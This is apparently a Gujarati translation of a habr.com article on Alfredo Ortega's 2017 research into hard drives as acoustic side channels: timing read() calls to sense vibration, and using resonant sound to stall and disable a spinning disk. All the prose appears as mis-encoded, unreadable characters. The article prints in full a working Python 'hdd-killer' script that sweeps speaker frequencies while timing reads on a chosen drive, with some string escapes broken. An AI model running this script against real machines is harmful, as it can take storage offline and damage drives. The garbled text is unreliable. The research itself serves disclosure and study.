เชคเชฎเชพเชฐเซ‡ เชคเชฎเชพเชฐเชพ HDD เชชเชฐ เชถเชพ เชฎเชพเชŸเซ‡ เชฌเซ‚เชฎเซ‹ เชชเชพเชกเชตเซ€ เชœเซ‹เชˆเช เชจเชนเซ€เช‚

เชคเชฎเชพเชฐเซ‡ เชคเชฎเชพเชฐเชพ HDD เชชเชฐ เชถเชพ เชฎเชพเชŸเซ‡ เชฌเซ‚เชฎเซ‹ เชชเชพเชกเชตเซ€ เชœเซ‹เชˆเช เชจเชนเซ€เช‚

เชฌเซเชฏเซเชจเซ‹เชธ เชเชฐเซ‡เชธเชฎเชพเช‚ เช‡เช•เซ‹เชชเชพเชฐเซเชŸเซ€ 2017 เช•เซ‹เชฎเซเชชเซเชฏเซเชŸเชฐ เชธเซเชฐเช•เซเชทเชพ เชชเชฐเชฟเชทเชฆเชฎเชพเช‚, เช†เชฐเซเชœเซ‡เชจเซเชŸเชฟเชจเชพเชจเชพ เชนเซ‡เช•เชฐ เช†เชฒเซเชซเซเชฐเซ‡เชกเซ‹ เช“เชฐเซเชŸเซ‡เช—เชพเช เช–เซ‚เชฌ เชœ เชฐเชธเชชเซเชฐเชฆ เชตเชฟเช•เชพเชธ เชฆเชฐเซเชถเชพเชตเซเชฏเซ‹ - เชฎเชพเช‡เช•เซเชฐเซ‹เชซเซ‹เชจเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซเชฏเชพ เชตเชฟเชจเชพ เชœเช—เซเชฏเชพเชจเชพ เช…เชชเซเชฐเช—เชŸ เชตเชพเชฏเชฐเชŸเซ‡เชชเชฟเช‚เช— เชฎเชพเชŸเซ‡เชจเซ€ เชธเชฟเชธเซเชŸเชฎ. เชงเซเชตเชจเชฟ เชธเซ€เชงเชพ เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชต เชชเชฐ เชฐเซ‡เช•เซ‹เชฐเซเชก!

HDD เชฎเซเช–เซเชฏเชคเซเชตเซ‡ เช‰เชšเซเชš-เชคเซ€เชตเซเชฐเชคเชพเชจเชพ เช“เช›เชพ-เช†เชตเชฐเซเชคเชจ เช…เชตเชพเชœเซ‹, เชชเช—เชฒเชพเช“ เช…เชจเซ‡ เช…เชจเซเชฏ เชธเซเชชเช‚เชฆเชจเซ‹เชจเซ‡ เชชเชธเช‚เชฆ เช•เชฐเซ‡ เช›เซ‡. เชฎเชพเชจเชต เชตเชพเชฃเซ€ เชนเชœเซ เชธเซเชงเซ€ เช“เชณเช–เซ€ เชถเช•เชพเชคเซ€ เชจเชฅเซ€, เชคเซ‡เชฎ เช›เชคเชพเช‚ เชตเซˆเชœเซเชžเชพเชจเชฟเช•เซ‹ เช† เชฆเชฟเชถเชพเชฎเชพเช‚ เชธเช‚เชถเซ‹เชงเชจ เช•เชฐเซ€ เชฐเชนเซเชฏเชพ เช›เซ‡ (เช“เช›เซ€-เช†เชตเชฐเซเชคเชจ เชธเซเชชเช‚เชฆเชจเซ‹ เชฆเซเชตเชพเชฐเชพ เชญเชพเชทเชฃเชจเซ€ เช“เชณเช–, เชœเซ‡ เชฐเซ‡เช•เซ‹เชฐเซเชก เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡, เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เช—เชพเชฏเชฐเซ‹เชธเซเช•เซ‹เชช เช…เชฅเชตเชพ HDD เชฅเซ€).

เชงเซเชตเชจเชฟ เช เชนเชตเชพ เช…เชฅเชตเชพ เช…เชจเซเชฏ เชฎเชพเชงเซเชฏเชฎเชจเซเช‚ เชธเซเชชเช‚เชฆเชจ เช›เซ‡. เชเช• เชตเซเชฏเช•เซเชคเชฟ เชคเซ‡เชฎเชจเซ‡ เช•เชพเชจเชจเชพ เชชเชกเชฆเชพ เชฆเซเชตเชพเชฐเชพ เชธเชฎเชœเซ‡ เช›เซ‡, เชœเซ‡ เชธเซเชชเช‚เชฆเชจเซ‹เชจเซ‡ เช†เช‚เชคเชฐเชฟเช• เช•เชพเชจเชฎเชพเช‚ เชชเซเชฐเชธเชพเชฐเชฟเชค เช•เชฐเซ‡ เช›เซ‡. เชฎเชพเช‡เช•เซเชฐเซ‹เชซเซ‹เชจ เชฒเช—เชญเช— เช•เชพเชจเชจเซ€ เชœเซ‡เชฎ เชกเชฟเชเชพเช‡เชจ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เช›เซ‡ - เช…เชนเซ€เช‚ เชชเชฃ, เชชเชพเชคเชณเซ€ เชชเชŸเชฒ เชฆเซเชตเชพเชฐเชพ เชธเซเชชเช‚เชฆเชจเซ‹ เชฐเซ‡เช•เซ‹เชฐเซเชก เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡, เชœเซ‡ เชตเชฟเชฆเซเชฏเซเชค เช†เชตเซ‡เช—เชจเซ‡ เช‰เชคเซเชคเซ‡เชœเชฟเชค เช•เชฐเซ‡ เช›เซ‡. เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชต, เช…เชฒเชฌเชคเซเชค, เช†เชธเชชเชพเชธเชจเซ€ เชนเชตเชพเชฎเชพเช‚ เชตเชงเช˜เชŸเชจเซ‡ เช•เชพเชฐเชฃเซ‡ เชฎเชพเช‡เช•เซเชฐเซ‹เชธเซเช•เซ‹เชชเชฟเช• เชธเซเชชเช‚เชฆเชจเซ‹เชจเซ‡ เชชเชฃ เช†เชงเชฟเชจ เช›เซ‡. HDDs เชจเซ€ เชคเช•เชจเซ€เช•เซ€ เชฒเชพเช•เซเชทเชฃเชฟเช•เชคเชพเช“เชฅเซ€ เชชเชฃ เช† เชœเชพเชฃเซ€เชคเซเช‚ เช›เซ‡: เช‰เชคเซเชชเชพเชฆเช•เซ‹ เชธเชพเชฎเชพเชจเซเชฏ เชฐเซ€เชคเซ‡ เชฎเชนเชคเซเชคเชฎ เช…เชจเซเชฎเชคเชฟเชชเชพเชคเซเชฐ เช•เช‚เชชเชจ เชธเซเชคเชฐ เชธเซ‚เชšเชตเซ‡ เช›เซ‡, เช…เชจเซ‡ เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชต เชชเซ‹เชคเซ‡ เช˜เชฃเซ€เชตเชพเชฐ เชคเซ‡เชจเซ‡ เชฐเชฌเชฐ เช…เชฅเชตเชพ เช…เชจเซเชฏ เช‡เชจเซเชธเซเชฏเซเชฒเซ‡เชŸเซ€เช‚เช— เชธเชพเชฎเช—เซเชฐเซ€เชฅเซ€ เชฌเชจเซ‡เชฒเชพ เชตเชพเช‡เชฌเซเชฐเซ‡เชถเชจ-เชชเซเชฐเซ‚เชซ เช•เชจเซเชŸเซ‡เชจเชฐเชฎเชพเช‚ เชฎเซ‚เช•เชตเชพเชจเซ‹ เชชเซเชฐเชฏเชพเชธ เช•เชฐเซ‡ เช›เซ‡. เช†เชจเชพ เชชเชฐเชฅเซ€ เช เชคเชพเชฐเชฃ เช•เชพเชขเชตเซเช‚ โ€‹โ€‹เชธเชฐเชณ เช›เซ‡ เช•เซ‡ HDD เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เช…เชตเชพเชœเซ‹ เชฐเซ‡เช•เซ‹เชฐเซเชก เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡. เชฌเชพเช•เซ€ เช›เซ‡ เชคเซ‡ เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เช†เช•เซƒเชคเชฟ.

เช†เชฒเซเชซเซเชฐเซ‡เชกเซ‹ เช“เชฐเซเชŸเซ‡เช—เชพเช เชธเชพเช‡เชก-เชšเซ‡เชจเชฒ เชนเซเชฎเชฒเชพเชจเชพ เช…เชจเชจเซเชฏ เชธเช‚เชธเซเช•เชฐเชฃเชจเซ€ เชฆเชฐเช–เชพเชธเซเชค เช•เชฐเซ€, เชเชŸเชฒเซ‡ เช•เซ‡ เชŸเชพเช‡เชฎ เชเชŸเซ‡เช•. เช† เชนเซเชฎเชฒเซ‹ เช เชงเชพเชฐเชฃเชพ เชชเชฐ เช†เชงเชพเชฐเชฟเชค เช›เซ‡ เช•เซ‡ เช†เชชเซ‡เชฒ เช‡เชจเชชเซเชŸ เชกเซ‡เชŸเชพเชจเชพ เช†เชงเชพเชฐเซ‡ เชœเซเชฆเชพ เชœเซเชฆเชพ เชธเชฎเชฏเซ‡ เช‰เชชเช•เชฐเชฃ เชชเชฐ เชตเชฟเชตเชฟเชง เช•เชพเชฎเช—เซ€เชฐเซ€ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เช† เช•เชฟเชธเซเชธเชพเชฎเชพเช‚, "เช‡เชจเชชเซเชŸ เชกเซ‡เชŸเชพ" เช เชฐเซ€เชกเชฟเช‚เช— เชนเซ‡เชก เช…เชจเซ‡ เชเชšเชกเซ€เชกเซ€ เชชเซเชฒเซ‡เชŸเชฐเชจเชพ เชธเซเชชเช‚เชฆเชจเซ‹ เช›เซ‡, เชœเซ‡ เชชเชฐเซเชฏเชพเชตเชฐเชฃเชจเชพ เชธเซเชชเช‚เชฆเชจเซ‹ เชธเชพเชฅเซ‡ เชธเช‚เชฌเช‚เชง เชงเชฐเชพเชตเซ‡ เช›เซ‡, เชเชŸเชฒเซ‡ เช•เซ‡ เช…เชตเชพเชœ เชธเชพเชฅเซ‡. เช†เชฎ, เช—เชฃเชคเชฐเซ€เชจเชพ เชธเชฎเชฏเชจเซ‡ เชฎเชพเชชเซ€เชจเซ‡ เช…เชจเซ‡ เชกเซ‡เชŸเชพเชจเซเช‚ เช†เช‚เช•เชกเชพเช•เซ€เชฏ เชตเชฟเชถเซเชฒเซ‡เชทเชฃ เช•เชฐเซ€เชจเซ‡, เชฎเชพเชฅเชพ/เชฅเชพเชณเซ€เชจเชพ เชธเซเชชเช‚เชฆเชจเซ‹ เช…เชจเซ‡ เชคเซ‡เชฅเซ€ เชฎเชพเชงเซเชฏเชฎเชจเชพ เชธเซเชชเช‚เชฆเชจเซ‹เชจเซ‡ เชฎเชพเชชเซ€ เชถเช•เชพเชฏ เช›เซ‡. เชกเซ‡เชŸเชพ เชตเชพเช‚เชšเชตเชพเชฎเชพเช‚ เชœเซ‡เชŸเชฒเซ‹ เชฒเชพเช‚เชฌเซ‹ เชตเชฟเชฒเช‚เชฌ เชฅเชถเซ‡, HDD เชธเซเชชเช‚เชฆเชจเซ‹ เชตเชงเซ เชฎเชœเชฌเซ‚เชค เช…เชจเซ‡ เชคเซ‡เชฅเซ€, เช…เชตเชพเชœ เชœเซ‡เชŸเชฒเซ‹ เชฎเซ‹เชŸเซ‹ เชฅเชถเซ‡.

เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชต เช•เช‚เชชเชจ เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เชฎเชพเชชเชตเชพ? เช–เซ‚เชฌ เชœ เชธเชฐเชณ: เชซเช•เซเชค เชธเชฟเชธเซเชŸเชฎ เช•เซ‰เชฒ เชšเชฒเชพเชตเซ‹ read () - เช…เชจเซ‡ เชคเซ‡ เชชเซ‚เชฐเซเชฃ เชฅเชตเชพเชฎเชพเช‚ เชฒเชพเช—เซ‡ เชคเซ‡ เชธเชฎเชฏเชจเซ‡ เชฐเซ‡เช•เซ‹เชฐเซเชก เช•เชฐเซ‹. เช†เชงเซเชจเชฟเช• เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎเซเชธ เชคเชฎเชจเซ‡ เชจเซ‡เชจเซ‹เชธเซ‡เช•เชจเซเชกเชจเซ€ เชšเซ‹เช•เชธเชพเชˆ เชธเชพเชฅเซ‡ เชธเชฟเชธเซเชŸเชฎ เช•เซ‰เชฒเซเชธเชจเซ‹ เชธเชฎเชฏ เชตเชพเช‚เชšเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡.

เชธเซ‡เช•เซเชŸเชฐเชฎเชพเช‚เชฅเซ€ เชฎเชพเชนเชฟเชคเซ€ เชตเชพเช‚เชšเชตเชพเชจเซ€ เชเชกเชช เชฎเชพเชฅเชพ เช…เชจเซ‡ เชชเซเชฒเซ‡เชŸเชฐเชจเซ€ เชธเซเชฅเชฟเชคเชฟ เชชเชฐ เช†เชงเชพเชฐเชฟเชค เช›เซ‡, เชœเซ‡ HDD เช•เซ‡เชธเชจเชพ เชธเซเชชเช‚เชฆเชจเซ‹ เชธเชพเชฅเซ‡ เชธเช‚เชฌเช‚เชง เชงเชฐเชพเชตเซ‡ เช›เซ‡. เชฌเชธ เชเชŸเชฒเซเช‚ เชœ.

เช†เช‚เช•เชกเชพเช•เซ€เชฏ เชตเชฟเชถเซเชฒเซ‡เชทเชฃ เชธเชฐเชณ Kscope เช‰เชชเชฏเซ‹เช—เชฟเชคเชพเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เชœเซ‡เชฎ เชคเซ‡เช“ เช•เชนเซ‡ เช›เซ‡, เชฌเซเชฆเซเชงเชฟเชถเชพเชณเซ€ เชฌเชงเซเช‚ เชธเชฐเชณ เช›เซ‡.

เชคเชฎเชพเชฐเซ‡ เชคเชฎเชพเชฐเชพ HDD เชชเชฐ เชถเชพ เชฎเชพเชŸเซ‡ เชฌเซ‚เชฎเซ‹ เชชเชพเชกเชตเซ€ เชœเซ‹เชˆเช เชจเชนเซ€เช‚
Kscope เช‰เชชเชฏเซ‹เช—เชฟเชคเชพ (stat() syscall)

Kscope เช เชธเชฟเชธเซเชŸเชฎ เช•เซ‰เชฒ เชเช•เซเชเซ‡เช•เซเชฏเซเชถเชจ เชธเชฎเชฏเชฎเชพเช‚ เชจเชพเชจเชพ เชคเชซเชพเชตเชคเซ‹เชจเซ€ เช•เชฒเซเชชเชจเชพ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชเช• เชจเชพเชจเซ€ เช‰เชชเชฏเซ‹เช—เชฟเชคเชพ เช›เซ‡. เชธเซเชคเซเชฐเซ‹เชคGitHub เชชเชฐ เชชเซเชฐเช•เชพเชถเชฟเชค.

เชเช• เช…เชฒเช— เชญเช‚เชกเชพเชฐเชฎเชพเช‚ HDD-เชธเชฎเชฏ เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชต เชชเชฐ เชธเชฎเชฏเชจเชพ เชนเซเชฎเชฒเชพ เชฎเชพเชŸเซ‡ เช—เซ‹เช เชตเซ‡เชฒ เชฏเซเชŸเชฟเชฒเชฟเชŸเซ€เชจเซเช‚ เชตเชฐเซเชเชจ เช›เซ‡, เชเชŸเชฒเซ‡ เช•เซ‡, เชธเชฟเชธเซเชŸเชฎ เช•เซ‹เชฒเชจเซเช‚ เชตเชฟเชถเซเชฒเซ‡เชทเชฃ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เช—เซ‹เช เชตเซ‡เชฒ เช›เซ‡. read ().

HDD เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชงเซเชตเชจเชฟ เชฐเซ‡เช•เซ‹เชฐเซเชกเชฟเช‚เช—เชจเซเช‚ เชชเซเชฐเชฆเชฐเซเชถเชจ, Kscope เช‰เชชเชฏเซ‹เช—เชฟเชคเชพเชจเซเช‚ เชธเช‚เชšเชพเชฒเชจ


เช…เชฒเชฌเชคเซเชค, เชตเชพเชฃเซ€ เช† เชฐเซ€เชคเซ‡ เชธเชฎเชœเซ€ เชถเช•เชพเชคเซ€ เชจเชฅเซ€, เชชเชฐเช‚เชคเซ เชตเชพเช‡เชฌเซเชฐเซ‡เชถเชจ เชธเซ‡เชจเซเชธเชฐ เชคเชฐเซ€เช•เซ‡ HDD เชเช•เชฆเชฎ เชฏเซ‹เช—เซเชฏ เช›เซ‡. เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชœเซ‹ เช•เซ‹เชˆ เชตเซเชฏเช•เซเชคเชฟ เชธเช–เชค เชชเช—เชฐเช–เชพเช‚ เชชเชนเซ‡เชฐเซ‡ เช›เซ‡ เช…เชฅเชตเชพ เช‰เช˜เชพเชกเชชเช—เซเช‚ เช•เชฎเซเชชเซเชฏเซเชŸเชฐ เชธเชพเชฅเซ‡ เชฐเซ‚เชฎเชฎเชพเช‚ เชชเซเชฐเชตเซ‡เชถ เช•เชฐเซ‡ เช›เซ‡ เชคเซ‹ เชคเชฎเซ‡ เชจเซ‹เช‚เชงเชฃเซ€ เช•เชฐเซ€ เชถเช•เซ‹ เช›เซ‹ (เช•เชฆเชพเชš, เชœเซ‹ เชนเซเชฎเชฒเชพเช–เซ‹เชฐเซ‡ เชจเชฐเชฎ เชธเซเชจเซ€เช•เชฐเซเชธ เชชเชนเซ‡เชฐเซเชฏเชพ เชนเซ‹เชฏ เช…เชฅเชตเชพ เชซเซเชฒเซ‹เชฐ เชชเชฐ เชœเชพเชกเชพ เช•เชพเชฐเซเชชเซ‡เชŸ เชนเซ‹เชฏ, เชคเซ‹ HDD เชธเซเชชเช‚เชฆเชจเซ‹เชจเซ€ เชจเซ‹เช‚เชงเชฃเซ€ เช•เชฐเซ€ เชถเช•เชถเซ‡ เชจเชนเซ€เช‚ - เช† เชคเชชเชพเชธเชตเชพ เชฏเซ‹เช—เซเชฏ เช›เซ‡). เช•เซ‹เชฎเซเชชเซเชฏเซเชŸเชฐ เชคเซ‚เชŸเซ‡เชฒเชพ เช•เชพเชš เช…เชฅเชตเชพ เช…เชจเซเชฏ เช˜เชŸเชจเชพเช“เชจเซ‡ เชฎเชœเชฌเซ‚เชค เช…เชตเชพเชœเชจเซ€ เชคเซ€เชตเซเชฐเชคเชพ เชธเชพเชฅเซ‡ เชจเซ‹เช‚เชงเชตเชพเชฎเชพเช‚ เชธเช•เซเชทเชฎ เช›เซ‡. เชเชŸเชฒเซ‡ เช•เซ‡, เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชต เชเช• เชชเซเชฐเช•เชพเชฐเชจเซ€ เช…เชจเชงเชฟเช•เซƒเชค เช˜เซ‚เชธเชฃเช–เซ‹เชฐเซ€ เชถเซ‹เชง เชธเชฟเชธเซเชŸเชฎ เชคเชฐเซ€เช•เซ‡ เชธเซ‡เชตเชพ เช†เชชเซ€ เชถเช•เซ‡ เช›เซ‡.

HDD เช•เชฟเชฒเชฐ

เชฎเชพเชฐเซเช— เชฆเซเชตเชพเชฐเชพ, เชนเชพเชฐเซเชก เชกเซเชฐเชพเช‡เชตเซเชธเชจเซ‡ เช…เช•เซเชทเชฎ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชธเชฎเชพเชจ เชคเช•เชจเซ€เช•เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡. เชซเช•เซเชค เช…เชนเซ€เช‚ เช†เชชเชฃเซ‡ HDD เชฎเชพเช‚เชฅเซ€ เช“เชธเชฟเชฒเซ‡เชถเชจเชจเซ‡ เชฆเซ‚เชฐ เช•เชฐเชคเชพ เชจเชฅเซ€, เชชเชฐเช‚เชคเซ เชคเซ‡เชจเชพเชฅเซ€ เชตเชฟเชชเชฐเซ€เชค, เช…เชฎเซ‡ เช“เชธเชฟเชฒเซ‡เชถเชจ เชœเชจเชฐเซ‡เชŸ เช•เชฐเซ€เช เช›เซ€เช เชœเซ‡ HDD เชจเซ‡ เช†เชชเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เชœเซ‹ เชคเชฎเซ‡ HDD เช†เชตเชฐเซเชคเชจ เชธเชพเชฅเซ‡ เชชเชกเช˜เซ‹ เชชเชพเชกเชคเซ€ เช†เชตเชฐเซเชคเชจ เชชเชฐ เชธเซเชชเซ€เช•เชฐเชฎเชพเช‚เชฅเซ€ เช…เชตเชพเชœ เชตเช—เชพเชกเซ‹ เช›เซ‹, เชคเซ‹ เชธเชฟเชธเซเชŸเชฎ เชŸเซ‚เช‚เช• เชธเชฎเชฏเชฎเชพเช‚ I/O เชญเซ‚เชฒ เชธเชพเชฅเซ‡ เช‰เชชเช•เชฐเชฃเชจเซ‡ เชฌเช‚เชง เช•เชฐเซ‡ เช›เซ‡ (เชฒเชฟเชจเช•เซเชธ เช•เชฐเซเชจเชฒ 120 เชธเซ‡เช•เชจเซเชก เชชเช›เซ€ HDDเชจเซ‡ เชธเช‚เชชเซ‚เชฐเซเชฃเชชเชฃเซ‡ เชฌเช‚เชง เช•เชฐเซ‡ เช›เซ‡). เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชต เชชเซ‹เชคเซ‡ เชœ เช‰เชฒเชŸเชพเชตเซ€ เชถเช•เชพเชฏ เชคเซ‡เชตเซเช‚ เชจเซเช•เชธเชพเชจ เชธเชนเชจ เช•เชฐเซ€ เชถเช•เซ‡ เช›เซ‡.

เชคเชฎเชพเชฐเซ‡ เชคเชฎเชพเชฐเชพ HDD เชชเชฐ เชถเชพ เชฎเชพเชŸเซ‡ เชฌเซ‚เชฎเซ‹ เชชเชพเชกเชตเซ€ เชœเซ‹เชˆเช เชจเชนเซ€เช‚
Linux เช•เชฐเซเชจเชฒ เช เชเชกเชฟเชซเชพเชฏเชฐ r120u เชฏเซเชเชธเชฌเซ€ เชธเซเชชเซ€เช•เชฐเชจเชพ เชธเซเชชเซ€เช•เชฐ เชฆเซเชตเชพเชฐเชพ เชฐเซ‡เชเซ‹เชจเชจเซเชŸ เชซเซเชฐเซ€เช•เซเชตเชจเซเชธเซ€ เชชเชฐ เชงเซเชตเชจเชฟ เชชเชนเซ‹เช‚เชšเชพเชกเซเชฏเชพเชจเชพ 19 เชธเซ‡เช•เชจเซเชก เชชเช›เซ€ เชนเชพเชฐเซเชก เชกเซเชฐเชพเช‡เชตเชจเซ‡ เชฌเช‚เชง เช•เชฐเซ€ เชฆเซ€เชงเซ€. เชธเซเชชเซ€เช•เชฐ เชฒเช—เชญเช— เชเช• เช•เซเชตเชพเชฐเซเชŸเชฐ เชชเชพเชตเชฐ (100 mW เช•เชฐเชคเชพเช‚ เช“เช›เซ€) เชชเชฐ เชšเชพเชฒเซ เชฅเชพเชฏ เช›เซ‡ เช…เชจเซ‡ HDD เชฅเซ€ 20 เชธเซ‡เชฎเซ€ เชฆเซ‚เชฐ เชธเซเชฅเชฟเชค เช›เซ‡, เชœเซ‡เชจเซ‹ เชนเซ‡เชคเซ เชธเซเชชเช‚เชฆเชจเซ‹เชจเซ‡ เชตเชงเชพเชฐเชตเชพ เชฎเชพเชŸเซ‡ เชŸเซ‡เชฌเชฒ เชชเชฐ เช›เซ‡. เชฅเซ€ เชซเซเชฐเซ‡เชฎ เชตเชฟเชกเชฟเช“ HDD เช•เชฟเชฒเชฐเชจเชพ เชชเซเชฐเชฆเชฐเซเชถเชจ เชธเชพเชฅเซ‡

เชคเซ‡ เชตเชฟเชšเชฟเชคเซเชฐ เช›เซ‡ เช•เซ‡ HDDs เชชเชฐ เช†เชตเชพ "เชนเซเชฎเชฒเชพ" เช•เซเชฏเชพเชฐเซ‡เช• เชฐเซ‹เชœเชฟเช‚เชฆเชพ เชœเซ€เชตเชจเชฎเชพเช‚ เช…เช•เชธเซเชฎเชพเชค เชฆเซเชตเชพเชฐเชพ เชธเช‚เชชเซ‚เชฐเซเชฃเชชเชฃเซ‡ เชฅเชพเชฏ เช›เซ‡. เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชธเชชเซเชŸเซ‡เชฎเซเชฌเชฐ 2016 เชฎเชพเช‚, ING เชฌเซ‡เช‚เช• เชกเซ‡เชŸเชพ เชธเซ‡เชจเซเชŸเชฐเชจเซ‡ เชซเชพเชฏเชฐ เชกเซเชฐเชฟเชฒ เชชเช›เซ€ 10 เช•เชฒเชพเช• เชฎเชพเชŸเซ‡ เช•เชพเชฎเช—เซ€เชฐเซ€ เชธเซเชฅเช—เชฟเชค เช•เชฐเชตเชพเชจเซ€ เชซเชฐเชœ เชชเชกเซ€ เชนเชคเซ€. เชกเชเชจเซ‡เช• เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชตเซ‹ เชจเชฟเชทเซเชซเชณ เช—เชˆ เช›เซ‡ เช‰เชšเซเชš เชฆเชฌเชพเชฃ เชนเซ‡เช เชณ เชธเชฟเชฒเชฟเชจเซเชกเชฐเซ‹เชฎเชพเช‚เชฅเซ€ เชจเชฟเชทเซเช•เซเชฐเชฟเชฏ เช—เซ‡เชธ เช›เซ‹เชกเชตเชพเชจเชพ เชฎเซ‹เชŸเชพ เช…เชตเชพเชœเชจเซ‡ เช•เชพเชฐเชฃเซ‡. เช…เชตเชพเชœ เช–เซ‚เชฌ เชœ เชฎเซ‹เชŸเซ‹ เชนเชคเซ‹ (130 เชกเซ€เชฌเซ€เชฅเซ€ เชตเชงเซ), เชชเชฐเช‚เชคเซ เชคเชฎเซ‡ เชนเชพเชฐเซเชก เชกเซเชฐเชพเช‡เชตเซเชธ เชชเชฐ เชชเชฃ เชฌเซ‚เชฎเซ‹ เชชเชพเชกเซ€ เชถเช•เชคเชพ เชจเชฅเซ€ - เช† HDD เชเช•เซเชธเซ‡เชธ เช•เชฐเชตเชพเชฎเชพเช‚ เชตเชฟเชฒเช‚เชฌเชจเซ‡ เชตเชงเชพเชฐเซ‡ เช›เซ‡.

เชกเซ‡เชŸเชพ เชธเซ‡เชจเซเชŸเชฐเชฎเชพเช‚ เชนเชพเชฐเซเชก เชกเซเชฐเชพเชˆเชต เชชเชฐ เชฎเชพเชจเชต เชšเซ€เชธเซ‹เชจเซเช‚ เชชเซเชฐเชฆเชฐเซเชถเชจ. เชฒเซ‡เชŸเชจเซเชธเซ€ เชฎเชพเชชเชจ


เชชเชกเช˜เซ‹ เชชเชพเชกเชคเซ‹ เช…เชตเชพเชœ เช‰เชคเซเชชเชจเซเชจ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡, เช†เชฒเซเชซเซเชฐเซ‡เชกเซ‹ เช“เชฐเซเชŸเซ‡เช—เชพเช เชชเชพเชฏเชฅเซ‹เชจ เชธเซเช•เซเชฐเชฟเชชเซเชŸ เชฒเช–เซ€ เชนเชคเซ€ เชเชšเชกเซ€เชกเซ€-เช•เชฟเชฒเชฐ (เชตเชฟเชกเชฟเช“ เชชเซเชฐเชฆเชฐเซเชถเชจ).

HDD เช•เชฟเชฒเชฐ เชธเซเช•เซเชฐเชฟเชชเซเชŸ เชคเซ‡ เชเช•เชฆเชฎ เชจเชพเชจเซเช‚ เช›เซ‡, เชคเซ‡เชฅเซ€ เชคเชฎเซ‡ เชคเซ‡เชจเซ‡ เชธเช‚เชชเซ‚เชฐเซเชฃ เชฐเซ€เชคเซ‡ เช…เชนเซ€เช‚ เชชเซเชฐเช•เชพเชถเชฟเชค เช•เชฐเซ€ เชถเช•เซ‹ เช›เซ‹.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

เชธเซ‹เชฐเซเชธ: www.habr.com

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹